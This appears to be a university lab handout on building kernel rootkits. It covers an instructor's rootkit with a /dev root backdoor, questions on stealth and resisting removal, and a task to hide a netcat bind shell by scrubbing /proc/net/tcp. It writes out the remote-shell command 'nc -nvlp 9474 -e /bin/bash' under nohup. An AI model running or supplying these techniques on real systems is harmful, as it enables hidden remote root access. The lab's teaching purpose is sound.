This lab will introduce you to both kernel module programming and to kernel rootkits. You will take an existing kernel rootkit written by your instructor and extend it.
This lab will guide you through kernel rootkit construction. More details are in the code's repo and below, but here is the gist. The rootkit already is written to:
b4rnd00r.{c,ko}
)/proc/modules
)libtest.so.1.0
, (by scrubbing /proc/PID/maps
/dev/b4rn
. When a user
writes a special string to that file,
the user will become root./dev/b4rn
).You'll want to use the SEED 16.04 Ubuntu VM for this lab. In the VM, you can get the code for this lab by cloning your instructor's repo:
$ git clone https://github.com/khale/kernel-rootkit-poc
Make sure to go through the README
in the repo. The SEED VM should have everything
necessary to load the rootkit.
Understand the code. You should realize that the kernel module's entry point
(b4rn_init()
) is invoked after the module is loaded by the kernel (e.g.
by insmod
or modprobe
). Start there and read comments carefully.
Could an attacker use the backdoor exposed by the rootkit to remotely get access? Explain why or why not.
Realize that this is a pretty rudimentary backdoor. There are certainly more stealthy ways to do this (e.g. so we don't create an unwanted device file on the system). Can you think of any?
By the way, there have been nefarious attempts to backdoor the kernel itself,
though they were unsuccessful. This isn't limited by any means to kernel space. The NSA is suspected to have
backdoored a standard altorithm widely used for encryption.
Your instructor's favorite example of a backdoor was one injected by a C compiler into the UNIX login
program,
devised by the UNIX man himself. Definitely worth a read.
Explain why we must (1) use function pointers and kallsyms_*()
functions
to call certain routines and (2) manipulate cr0
and page protections
to install our function overrides.
Suppose I wanted to make it very hard for a system administrator to remove my rootkit
from the system. What are some things I could do to prevent that? (Hint: there is a
reboot()
system call)
For this task you'll be extending b4rnd00r to hide a remote backdoor (i.e. a bindshell running on the system). First run a bind shell like so:
$ nohup nc -nvlp 9474 -e /bin/bash >/dev/null 2>&1 &
This listens on port 9474, and when a client connects it will spawn a shell and
send output back out over the network socket. The nohup
command
prevents the netcat program from exiting after we log out of the system (which
we would probably do after we've owned a machine and set up the backdoor).
The redirection just silences output on the server side.
If you've got bridged networking set up for your VM, you should be able to access this bind shell as follows from your host machine:
$ nc <VM-IP> 9474
You can access it with NAT networking as well, but you'll have to forward the 9474 port with your hypervisor. It's probably just
easier to use bridged networking. Other than the nc
process itself, the listening socket can be seen by
an auditor pretty easily by using netstat
$ netstat -tl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 cato:domain 0.0.0.0:* LISTEN
tcp 0 0 localhost:ipp 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:9474 0.0.0.0:* LISTEN
tcp6 0 0 localhost:ipp [::]:* LISTEN
tcp6 0 0 [::]:9474 [::]:* LISTEN
This is no good if we're trying to be stealthy. We can pretty much guess that this information is coming from
the kernel, and almost certainly from /proc
somewhere, and
that netstat
is really just sugar coating the kernel's output. We can
do some digging to find out exactly where
$ strace netstat -tl 2>&1 | grep "^open" | grep "proc"
openat(AT_FDCWD, "/proc/net/tcp", O_RDONLY) = 3
openat(AT_FDCWD, "/proc/net/tcp6", O_RDONLY) = 3
Sure enough, netstat
is really just a wrapper around
the /proc
interface. Let's see the raw information straight
from the source (the kernel):
$ cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 017AA8C0:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 34934 1 000000007060ba94 100 0 0 10 0
1: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 30174 1 00000000d07a82df 100 0 0 10 0
2: 00000000:2502 00000000:0000 0A 00000000:00000000 00:00000000 00000000 1000 0 59441 1 000000003a4d11ec 100 0 0 10 0
You can see why netstat
exists now. This output is pretty opaque. If we realize that 9474 is actually
0x2502, however, we can pretty easily identify our bind shell. This gives us a hint on how to hide our connection then,
because we really just need to scrub this output to remove that line in our rootkit. This is your task.
Some hints:
seq_file
technique used for the maps
file./proc/net/tcp
./proc/net
are organized in a red black tree. See here
and understand the init_net
struct from net/tcp.h
header and its proc_net
member field. You will
want to use helper functions provided by Linux like rb_first()
, rb_last()
, rb_entry()
,
struct proc_dir_entry
etc. struct inet_sock
(which you can derive from the v
pointer
in your seq handler using the inet_sk
helper function). You will need to extract the port number from the socket structure
(see ntohs()
).Please write your lab report according to the description. Please also list the important code snippets followed by your explanation. You will not receive credit if you simply attach code without any explanation. Upload your answers as a PDF to blackboard. You must turn this in by Thursday 2/27 11:59 PM.
This work is licensed under a Creative Commons Attribution-NonCommercialShareAlike 4.0 International License. A human-readable summary of (and not a substitute for) the license is the following: You are free to copy and redistribute the material in any medium or format. You must give appropriate credit. If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original. You may not use the material for commercial purposes.